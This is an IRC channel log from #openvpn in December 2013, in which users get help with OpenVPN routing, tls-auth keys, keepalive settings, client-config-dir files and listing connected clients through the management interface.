14:37 -!- diddly_ [~dave@blk-222-90-9.eastlink.ca] has left #openvpn []
14:40 < EugeneKay> There is no "import". Are you using the AS client mistakenly?
14:41 -!- Nikon_m [~nikonm@184.151.63.206] has quit [Quit: Nikon_m]
14:50 -!- elvirolo [~roger@2a01:e35:39c9:b2f0:76de:2bff:fe8e:303e] has quit [Quit: Quitte]
14:54 -!- Nikon_m [~nikonm@d24-235-162-103.home1.cgocable.net] has joined #openvpn
14:54 < fred``> i'm not sure - now i downloaded the 2.3.1 from http://openvpn.net/index.php/open-source/downloads/471-old-releases.html
14:54 <@vpnHelper> Title: Old releases (at openvpn.net)
14:56 -!- Denial [Denial@94.8.139.3] has quit []
15:05 -!- Nikon_m [~nikonm@d24-235-162-103.home1.cgocable.net] has quit [Quit: Nikon_m]
15:24 -!- akurilin [~alex@208.185.21.146] has joined #openvpn
15:25 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
15:25 < akurilin> Hey folks, quick question. I have a couple of Internet-facing hosts in the VPN and I'd like to prevent ssh connections to them outside of the VPN itself. Should I be using iptables to filter anything to 22 outside of my 10.8.* network?
15:25 < akurilin> Or is there a better take?
15:26 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
15:26 < akurilin> I believe openssh server also has some basic whitelisting functionality, but I imagine it's just easier to centralize everything in the firewall
15:28 < rob0> Maybe you want to bind your sshd only on the VPN address (but that requires that openvpn is started before sshd, not likely the case with most init systems.)
15:28 < rob0> Sure, your firewall can do it also.
15:30 < akurilin> rob0: so assuming I want to use the sshd's machine's software firewall, iptables would be the way to go?
15:32 < rob0> as opposed to what?
15:33 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Ping timeout: 246 seconds]
15:33 < akurilin> rob0: I haven't worked with firewalls yet at this point, so I just want to make sure I'm going in the right direction.
15:34 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
15:34 < rob0> iptables is the common firewall tool on Linux. It's more or less the only one, although another (nftables) is under development.
15:35 < akurilin> That's good to know, thanks. Looked at some of iptables tutorials in the past, that was an interesting first encounter. Will try to power through this time.
15:37 < Nothing4You> finally i got my providers server config
15:37 < Nothing4You> http://nopaste.me/paste/204914134452b215a442ce9
15:38 < akurilin> rob0: thanks for the pointers!
15:44 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Quit: ZNC - http://znc.in]
15:53 -!- able [~able@gateway/tor-sasl/able] has joined #openvpn
15:55 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
16:12 < Nothing4You> ecrist: you still here?
16:18 -!- able [~able@gateway/tor-sasl/able] has quit [Quit: able]
16:18 < Nothing4You> i guess i'll just repeat my problem
16:22 -!- debbie10t [~ma1com10t@host-92-20-50-44.as13285.net] has joined #openvpn
16:30 < Nothing4You> i'm using an openvz VE connecting to a VPN which sends a default gateway. i'm trying to let other devices in the same local network access some port on the vpnclient VE, through a proxy running in the VE as some kind of VPN-inproxy, listening e.g. on 10.20.0.110:80 and forwarding the requests to 172.16.32.1:80. i've created routes to send traffic for the local network through the non-vpn gateway and i can
16:30 < Nothing4You> reach internal machines, problem is that they can't reach the vpn VE. active routes: http://ix.io/9rz | my vpn provider uses the 172.16 subnet, while i'm locally using 10.20.0.xx for my VEs. the VE has the IP 10.20.0.110, the gateway is 10.20.0.1 | this is my client config: http://ix.io/9qW and i added the extra routes with `ip route add 10.20.0.1 dev venet0` and `ip route add 10.20.0.0/24 via 10.20.0.1 dev
16:30 < Nothing4You> venet0`. the server config is http://ix.io/9rB
16:33 -!- mattock is now known as mattock_afk
16:41 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
16:42 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
16:52 < pekster> Nothing4You: What? If it's in the same local network, why isn't your 10.20.0/24 route on-link?
16:52 < Nothing4You> pekster: what do you mean?
16:54 < pekster> What exactly is your setup? You have a LAN at 10.20.0.0/24, and on that LAN is your VPN client; the client connects to the VPN server and obtains an IP on 172.16.32.0/20. What's the intent after that?
16:55 < Nothing4You> i want to have machines from 10.20.0.0/24 being able to connect to the vpn client machine
16:55 < Nothing4You> the vpn client machine currently is able to create outgoing connections to 10.20.0.0/24 but incoming connections from there somehow don't work
16:55 < pekster> Why shouldn't they be able to do that?
16:56 < pekster> You should have an on-link route for the local network
16:56 < Nothing4You> what's an "on-link route"?
16:56 < pekster> Then again OpenVZ is shit and maybe managed to screw that up
16:56 < pekster> `ip route show` and they'll be shown with `scope link`
16:56 < pekster> It's _on_ the link-layer
16:57 < Nothing4You> there are three routes on that level
16:57 < pekster> If you don't have 10.20.0.0/24, you've somehow misconfigured your LAN (or OpenVZ is doing dumb things)
16:57 < pekster> "level"
16:57 < Nothing4You> one to the vpn server
16:57 < pekster> I have NFI what this means
16:57 < Nothing4You> erm
16:57 < Nothing4You> layer i meant
16:57 < Nothing4You> not level
16:58 < pekster> Just pastebin `ip route show`
16:58 < Nothing4You> one route to 10.20.0.1 and one route to 172.16.32.0/20
16:58 < Nothing4You> ok
16:58 < pekster> Looking at your earling printout, 10.20.0.1 is really stupid. OpenVZ is just so dumb
16:58 < Nothing4You> http://ix.io/9rC
16:59 < Nothing4You> there
17:00 < Nothing4You> why is 10.20.0.1 stupid though?
17:02 < Nothing4You> hmm
17:02 < Nothing4You> actually
17:02 < Nothing4You> somehow
17:02 < Nothing4You> i can access from inside another vm
17:02 < Nothing4You> but not from the host
17:02 < Nothing4You> btw i removed the two routes and added a single one instead
17:02 < Nothing4You> `ip route add 10.20.0.0/24 dev venet0`
17:02 < pekster> From what host?
17:03 < Nothing4You> from 10.20.0.108 i can reach the vpn vm
17:03 < Nothing4You> vpn vm is 10.20.0.110
17:03 < pekster> Yea, wtf, why is 10.20.0.1 on link, but not 10.20.0.24?
17:03 < pekster> You should consult openvz docs
17:03 < pekster> This is stupidity
17:03 < Nothing4You> pekster: i changed it, i added the routes manually
17:03 < pekster> No, it should _BE_ there if that box is on that network
17:03 < pekster> If it's not, it's either misconfigured, or OpenVZ doing really fucked up things
17:04 < Nothing4You> probably because i'm using a custom install image
17:04 < pekster> The latter you should de-fuck by reading how to put OpenVZ into not-stupid mode
17:04 < Nothing4You> which i got from a friend
17:04 < Nothing4You> http://ix.io/9rD are my current routes
17:04 < pekster> That looks more sane
17:04 < Nothing4You> and i can access from another VE but not from the host system
17:05 < Nothing4You> 10.20.0.1 is the host
17:05 < pekster> Your problem is really openvz
17:05 < Nothing4You> maybe
17:05 < pekster> OpenVPn isn't even involved here; you're trying to access some service running on openvz
17:05 < Nothing4You> anyway, as i just needed the vm to access it my problem is solved
17:05 < pekster> As them
17:06 < Nothing4You> openvpn was playing around with the routes due to the default gateway replacement
17:06 < Nothing4You> so i thought that was related
17:06 < pekster> It just adds the 0/1 and 128/1 routes
17:07 < Nothing4You> yeah
17:07 < pekster> Routing works by matching the most specific route, and if you have a broadcast-type network you should have an on-link route for the entire range. Maybe openvz is doing PtP instead, but that's not an #openvpn problem at that point
17:08 < Nothing4You> yeah
17:10 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Quit: ZNC - http://znc.in]
17:12 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
17:13 -!- C_S_B [~C-S-B@host86-173-99-141.range86-173.btcentralplus.com] has quit [Ping timeout: 246 seconds]
17:13 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:14 -!- C-S-B [~C-S-B@host86-173-99-141.range86-173.btcentralplus.com] has joined #openvpn
17:14 -!- qwertyoruiop is now known as BitcoinOracle
17:17 -!- BitcoinOracle is now known as qwertyoruiop
17:39 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
17:39 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has joined #openvpn
17:54 -!- steven776 [~martin@84.160.190.90.dyn.estpak.ee] has quit [Ping timeout: 240 seconds]
18:06 -!- joshu [~joshu@62-20-176-238-no28.tbcn.telia.com] has joined #openvpn
18:06 < joshu> hi is the iOS OpenVPN app configurable with Apple Configurator profile or is this not supported?
18:11 < pekster> You might have better luck asking #openvpn-as -- the "Connect" software isn't maintained by the OpenVPN community. More info at !connect
18:12 < joshu> !connect
18:12 <@vpnHelper> "connect" is (#1) OpenVPN Connect is part of the commercial, non-free (non-GPL) corporate offering; see #openvpn-as for help with these. For the community-maintained GPL OpenVPN, see !download for download links, !android for GPL-openvpn on Android, or !howto for the beginner how-to guide or (#2) https://forums.openvpn.net/post34969.html#p34969
18:12 < joshu> pekster ah didn't know that will try there thanks ;)
18:29 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
18:44 -!- xrosnight [~quassel@120.236.123.133] has joined #openvpn
18:58 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
19:07 < joshu> if I create a tls-auth key and add it to the server config does that mean that all clients will need to have this key as well or can clients without it still connect?
19:08 < pekster> Every client will need the same key, yes (and opposing 'direction' value, if you're using it)
19:08 < pekster> It's a pre-shared key (PSK) used to gain access to the TLS authentication channel (in addition to the TLS crypto)
19:10 < joshu> I see. Thanks pekster I might have more silly questions soon as I work on my config ;)
19:11 -!- xrosnight [~quassel@120.236.123.133] has quit [Changing host]
19:11 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
19:19 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
19:20 < joshu> if the keep live setting is not specified does the openvpn server default to some value?
19:22 < pekster> Nope
19:22 < pekster> !keepalive
19:22 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive or (#4) Also beware of --auth-nocache for automated reconnects
19:26 < joshu> pekster ok in the how to the server config has "keepalive 10 120" I saw online somewhere that said that the second value gets doubled by the server and has "keep alive 10 60". Which is correct?
19:29 < pekster> The manpage is your reference and for the "helper directives" contains the proper expansion
19:29 < pekster> If used on a server, it will use a timeout value twice the 2nd argument locally and push the provided value to clients
19:32 < joshu> pekster what do I do if I'm configuring openvpn on a dedicated appliance (Ubiquiti Edge Router LIte) and man isn't included? do the "helper directives" depend upon openvpn version on the appiance?
19:33 < pekster> !man
19:33 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
19:33 < pekster> Use the web ref, or download the manpage from the source distribution
19:33 -!- JSharpe [~JSharpe@31.205.63.22] has joined #openvpn
20:01 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
20:02 < debbie10t> It's like hat
20:03 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
20:09 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
20:15 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
20:20 < debbie10t> as necessity is the mother of reason .. so are muzzles
20:21 < debbie10t> as dogs are
20:21 < debbie10t> it is done ..
20:21 < debbie10t> let the chips fall
20:23 < debbie10t> and let reason hold true
20:24 < debbie10t> let not enemies be made of approach
20:27 < debbie10t> in the name of open software
20:28 < debbie10t> i beg . . ;.
20:30 < debbie10t> in the name of open world . . .
20:31 < debbie10t> your call
20:33 < debbie10t> It is a big wide fuckin world .. not all of which you realise
20:37 < debbie10t> your game .. our game .. whos gamr
20:38 < debbie10t> ...
20:38 < debbie10t> ..
20:38 < debbie10t> .
20:46 < debbie10t>  And then there were none . . .
20:47 -!- debbie10t [~ma1com10t@host-92-20-50-44.as13285.net] has left #openvpn []
20:53 < rob0> whew
20:54 < pekster> Not nearly as interesting as the "bable technical report writer"
21:06 -!- Navop [~Apollon@24-122-113-81.ri.cgocable.ca] has joined #openvpn
21:17 -!- Navlop [~Apollon@24-122-113-81.ri.cgocable.ca] has joined #openvpn
21:21 -!- Navop [~Apollon@24-122-113-81.ri.cgocable.ca] has quit [Ping timeout: 260 seconds]
21:27 -!- michelem [~Adium@chello084114048210.14.vie.surfer.at] has joined #openvpn
21:27 < michelem> hello folks
21:29 -!- Navlop [~Apollon@24-122-113-81.ri.cgocable.ca] has quit [Quit: Leaving]
21:30 < michelem> my ssl-based VPN connects properly, the client can ping the server, but the server cannot ping the client. When enabling push "redirect-gateway def1 bypass-dhcp", the client cannot ping the Internet, and it gets a weird routing table. THe relevant data: https://dpaste.de/Ov7g https://dpaste.de/Z4uD  https://dpaste.de/Xf4e
21:33 < michelem> suggestions_
21:36 -!- michelem [~Adium@chello084114048210.14.vie.surfer.at] has quit [Read error: Connection reset by peer]
21:37 -!- michelem [~Adium@chello084114048210.14.vie.surfer.at] has joined #openvpn
21:47 -!- michelem [~Adium@chello084114048210.14.vie.surfer.at] has quit [Ping timeout: 240 seconds]
22:06 < EugeneKay> Yeah, stick around longer so I can point you at the right bot function.
22:53 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Ping timeout: 240 seconds]
23:01 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
23:05 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
23:28 -!- matsh [divine@nanogene.org] has quit [Read error: Connection reset by peer]
23:35 -!- matsh [divine@nanogene.org] has joined #openvpn
23:35 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
23:37 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 245 seconds]
23:42 -!- akurilin [~alex@208.185.21.146] has quit [Quit: WeeChat 0.4.2]
23:46 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
23:51 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
--- Day changed Thu Dec 19 2013
00:03 -!- xTz_ [xtz@DeathStar.Techn0.eu] has quit [Read error: Operation timed out]
00:13 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has quit [Ping timeout: 272 seconds]
00:19 -!- Stew-a [~Stewart@host86-138-33-95.range86-138.btcentralplus.com] has joined #openvpn
00:19 -!- Stew-a [~Stewart@host86-138-33-95.range86-138.btcentralplus.com] has quit [Changing host]
00:19 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has joined #openvpn
00:33 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
01:12 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Remote host closed the connection]
01:28 -!- maskedlua_ [~quassel@unaffiliated/themaskedlua] has joined #openvpn
01:29 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Ping timeout: 260 seconds]
01:32 -!- xrosnight [~quassel@120.236.123.130] has joined #openvpn
01:36 -!- xrosnight [~quassel@120.236.123.130] has quit [Read error: Connection reset by peer]
01:37 -!- wallbroken [~wallbroke@unaffiliated/wallbroken] has quit []
01:49 -!- keropok_ [~keropok@9W2JDY.peramah.org.my] has quit [Ping timeout: 245 seconds]
01:52 -!- Zap-W [~zxd@bzq-218-200-107.red.bezeqint.net] has joined #openvpn
02:01 -!- Zap-W [~zxd@bzq-218-200-107.red.bezeqint.net] has quit []
02:05 -!- keropok [~keropok@9W2JDY.peramah.org.my] has joined #openvpn
02:08 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.2]
02:18 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
02:18 -!- Hes_ is now known as Hes
02:18 -!- xTz is now known as Guest28497
02:21 -!- pagioss is now known as pagios
02:24 -!- keropok [~keropok@9W2JDY.peramah.org.my] has quit [Ping timeout: 250 seconds]
02:26 -!- keropok [~keropok@9W2JDY.peramah.org.my] has joined #openvpn
02:33 -!- mrtnt [~martint@martint.data.ee] has joined #openvpn
02:36 < mrtnt> How to list OpenVPN clients connected to OpenVPN server? I have "management 127.0.0.1 8080" configured to OpenVPN server so I'm able to log in to OpenVPN Management Interface, but there seems to be no command to list all the OpenVPN clients. Best I came up with was to compare Rx and Tx traffic in "load-stats" command: http://perl.nopaste.dk/p69487
02:45 < mrtnt> In addition, it would be nice to see the source IP of the OpenVPN client.
02:53 -!- mattock_afk is now known as mattock
03:15 <@plaisthos> mrtnt: iirc status shows the client connections
03:44 -!- Zap-W [~zxd@bzq-79-180-15-80.red.bezeqint.net] has joined #openvpn
03:44 < Zap-W> what does the "route" directive do in openvpn
03:45 < Zap-W> add a route entry in the routing table ?
03:46 <@plaisthos>  Zap-W see the man page
03:48 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
03:48 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
03:52 < Zap-W> plaisthos: does openvpn drop packets in tun0 interface that are not in routing table?
03:52 < Zap-W> I am forwarding a local subnet via a router with openvpn, I see the openvpn packets arriving in the physical interface but don't appear in the tun0 interface
03:53 < Zap-W> packets from the router do appear in the tun0 interface
03:57 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
04:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
04:00 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
04:01 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
04:10 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
04:15 < Zap-W> is it possible to add password to privat ekeys
04:29 < Zap-W> is it possible to reload server.conf to read ccd/   without dropping connections???
04:39 -!- EugeneKay [eugene@clockworkmod.org] has quit [Ping timeout: 245 seconds]
04:39 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Ping timeout: 264 seconds]
04:41 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
04:44 -!- EugeneKay [eugene@clockworkmod.org] has joined #openvpn
04:55 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
04:57 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
--- Log closed Thu Dec 19 05:04:58 2013
--- Log opened Thu Dec 19 05:05:14 2013
05:05 -!- ecrist [~ecrist@token-black.secure-computing.net] has joined #openvpn
05:05 -!- Irssi: #openvpn: Total of 222 nicks [7 ops, 0 halfops, 2 voices, 213 normal]
05:05 -!- mode/#openvpn [+o ecrist] by ChanServ
05:05 -!- Irssi: Join to #openvpn was synced in 51 secs
05:06 < Zap-W> packets are now arriving to tun0 interface after adding iproute entry but are not forwarded to the other interfaces
05:06 < Zap-W> ?
05:07 -!- u0m3 [~u0m3@109.96.151.231] has joined #openvpn
05:17 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 264 seconds]
05:27 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
05:29 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 252 seconds]
05:33 < Zap-W> test
05:35 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
05:43 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
05:44 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
05:58 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
06:08 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
06:08 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
06:08 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
06:35 -!- wraptor [~ma1com10t@host-92-20-50-44.as13285.net] has joined #openvpn
06:40 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
06:47 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
06:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:47 -!- Chaot_s is now known as Guest31145
06:49 -!- Guest31145 [~chaot_s@d54C40070.access.telenet.be] has quit [Ping timeout: 252 seconds]
07:02 -!- wraptor2 [~ma1com10t@host-92-20-50-44.as13285.net] has joined #openvpn
07:05 -!- wraptor [~ma1com10t@host-92-20-50-44.as13285.net] has quit [Ping timeout: 260 seconds]
07:09 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 252 seconds]
07:17 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
07:23 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
07:36 < wraptor2> hi - how do i use --config in a client-config-dir script ?
07:43 < wraptor2> The following options are legal in a client-specific context: --push, --push-reset, --iroute, --ifconfig-push, and --config.
07:43 < wraptor2> what use ius --config in a ccd script ?
07:48 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 246 seconds]
08:01 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:04 -!- xBytez [xBytez@unaffiliated/xbytez] has quit [Ping timeout: 245 seconds]
08:07 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
08:09 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
08:11 < mrtnt> plaisthos: I tried this, but it shows read/write bytes instead:http://perl.nopaste.dk/p69614
08:15 -!- xBytez [xBytez@unaffiliated/xbytez] has joined #openvpn
08:21 <@ecrist> wraptor2: you can include other config lines
08:22 <@ecrist> say you had 5 clients that needed a couple options all the same, in all 5 ccd entries, you can include that similar config via a config file
08:23 -!- xBytez [xBytez@unaffiliated/xbytez] has quit [Ping timeout: 246 seconds]
08:27 < joshu> When configuring OpenVPN as part of Vyatta some users use "replace-default-route" and others "push "redirect-gateway def1"" What's the difference?
08:29 < rob0> "--replace-default-route" is not found in the openvpn(8) manual. "--redirect-gateway" is. If someone has provided a frontend / abstraction layer for openvpn configuration, ask them how it works.
08:35 -!- Tu13es [~brandon@vervet.isomerica.net] has left #openvpn []
08:39 -!- xBytez [xBytez@libxbytez.so] has joined #openvpn
08:39 -!- xBytez [xBytez@libxbytez.so] has quit [Changing host]
08:39 -!- xBytez [xBytez@unaffiliated/xbytez] has joined #openvpn
08:42 < wraptor2> ecrist: so the lines in the --config file in the CCD can only contain options that a CCD file can contain = not any other options ?
08:45 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 240 seconds]
08:54 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
08:57 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
08:58 -!- pa [~pa@unaffiliated/pa] has quit [Max SendQ exceeded]
09:02 -!- wraptor [~ma1com10t@host-92-20-50-44.as13285.net] has joined #openvpn
09:05 -!- wraptor2 [~ma1com10t@host-92-20-50-44.as13285.net] has quit [Ping timeout: 260 seconds]
09:06 -!- Jaska__ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has joined #openvpn
09:07 < pekster> wraptor: Right, generally you'll only use some assortment of --ifconfig-push, --push, and --iroute in a ccd
09:08 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Ping timeout: 272 seconds]
09:13 -!- wraptor2 [~ma1com10t@host-92-20-50-44.as13285.net] has joined #openvpn
09:14 < joshu> rob0 ok
09:14 -!- Jaska_ [~Q@gprs-internet-bcee22-233.dhcp.inet.fi] has joined #openvpn
09:15 <@ecrist> wraptor2: correct
09:15 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
09:15 -!- Denial [Denial@94.8.139.3] has joined #openvpn
09:16 < wraptor2> Ha - i got it working ! @ main server (tap bridge) # client 1 (tap client) == client 1 (tun server) client 2 (tun client) ping from main server 10.2.101.111 to client 2 (real ip 192.168.48.4 over tap then tun vpn) cooool
09:17 -!- wraptor [~ma1com10t@host-92-20-50-44.as13285.net] has quit [Ping timeout: 260 seconds]
09:17 -!- Jaska__ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has quit [Ping timeout: 246 seconds]
09:19 -!- Jaska_ [~Q@gprs-internet-bcee22-233.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
09:20 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has joined #openvpn
09:31 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
09:31 -!- wraptor [~ma1com10t@host-92-20-50-44.as13285.net] has joined #openvpn
09:32 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
09:34 -!- wraptor2 [~ma1com10t@host-92-20-50-44.as13285.net] has quit [Ping timeout: 260 seconds]
09:42 -!- master_of_master [~master_of@p4FD7BAAA.dip0.t-ipconnect.de] has joined #openvpn
09:45 -!- master_o1_master [~master_of@p4FF24C1F.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
10:23 -!- suprsonic [~suprsonic@services.landonsanderson.com] has joined #openvpn
10:26 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 264 seconds]
10:27 < suprsonic> does openvpn support eliptic curve encryption?
10:30 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
10:31 < pekster> suprsonic: Not currently, no. One of several necessary steps to support it is on git-master (TLSv1.2 negotiation) but that alone isn't enough to use ECC with TLS
10:32 < suprsonic> thanks
10:38 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
10:41 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Ping timeout: 240 seconds]
10:46 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Read error: Connection reset by peer]
10:46 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
10:59 -!- Aliekzhi [~Aliekzhi@165.125.116.78.rev.sfr.net] has joined #openvpn
11:07 -!- Aliekzhi [~Aliekzhi@165.125.116.78.rev.sfr.net] has quit [Remote host closed the connection]
11:16 -!- Zap-W [~zxd@bzq-79-180-15-80.red.bezeqint.net] has quit [Ping timeout: 245 seconds]
11:31 -!- Serano [~serano@rooty.be] has quit [Ping timeout: 246 seconds]
11:31 -!- dos-freak [leecher@zentarim.0wnz.at] has quit [Ping timeout: 246 seconds]
11:32 -!- dos-freak [leecher@zentarim.0wnz.at] has joined #openvpn
11:33 -!- steven776 [~martin@84.160.190.90.dyn.estpak.ee] has joined #openvpn
11:34 -!- Serano [~serano@rooty.be] has joined #openvpn
11:34 -!- tdreyer1 [~tdreyer1@unaffiliated/tdreyer1] has quit [Ping timeout: 272 seconds]
11:37 -!- tdreyer1 [~tdreyer1@unaffiliated/tdreyer1] has joined #openvpn
11:58 -!- DelphiWorld [~TayebMeft@openvpn/user/DelphiWorld] has joined #openvpn
11:58 -!- mode/#openvpn [+v DelphiWorld] by ChanServ
11:58  * DelphiWorld salutate everyone, specialising krzee and ecrist
12:00 <@krzee> hey =]
12:13 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:14 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
12:31  * ecrist waves
12:34  * rob0 greets our salutated specialists
12:41 < steven776> How to list OpenVPN clients connected to OpenVPN server? I have "management 127.0.0.1 8080" configured to OpenVPN server so I'm able to log in to OpenVPN Management Interface, but there seems to be no command to list all the OpenVPN clients. Best I came up with was to compare Rx and Tx traffic in "load-stats" or "status" commands: http://perl.nopaste.dk/p69622
12:41 < steven776> Any suggestions or is this feature not supported by OpenVPN?
12:41 < rob0> "status" lists clients
12:42 < suprsonic> steven776 are you running that on the server side or client side?
12:43 < steven776> rob0, suprsonic: I'm running the OpenVPN Management Interface on server side
12:44 < pekster> "nclients=0" means you have none; this is why status output shows you none
12:46 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
12:46 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
12:47 < steven776> pekster, I'm logged to one of the OpenVPN clients over SSH from OpenVPN server so I definitely have at least one client.
12:48 < steven776> rob0, "status" seems to to list only traffic statistics
12:51 < steven776> pekster, OpenVPN server-side tunnel interface IP is 192.168.1.1 and client has 192.168.1.2: http://nopaste.dk/p69623  However, according to "load-stats", the "nclients" counter is still zero.
12:56 < pekster> Works as expected here on 2.3.2
13:01 -!- [[CaBeTuX]] [~CaBeTuX@190.2.11.97] has joined #openvpn
13:01 < [[CaBeTuX]]> Hi people!
13:02 < [[CaBeTuX]]> We have a question... I need configure the OpenVPN Access Server for not user certificate required... only User/Pass
13:02 < [[CaBeTuX]]> It's possible?
13:02 <@krzee> !as
13:02 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
13:02 < [[CaBeTuX]]> ok
13:02 < [[CaBeTuX]]> thanks!
13:02 <@krzee> np
13:02 -!- [[CaBeTuX]] [~CaBeTuX@190.2.11.97] has left #openvpn []
13:13 < steven776> pekster, ok. I'm running 2.2.0. So in 2.3.2 you see the list of connected clients with "load-stats" under OpenVPN Management Interface?
13:15 < pekster> Yea, I can test with 2.2.2 in a bit to see if it's a problem with the older code (not sure I have 2.2.0 built yet)
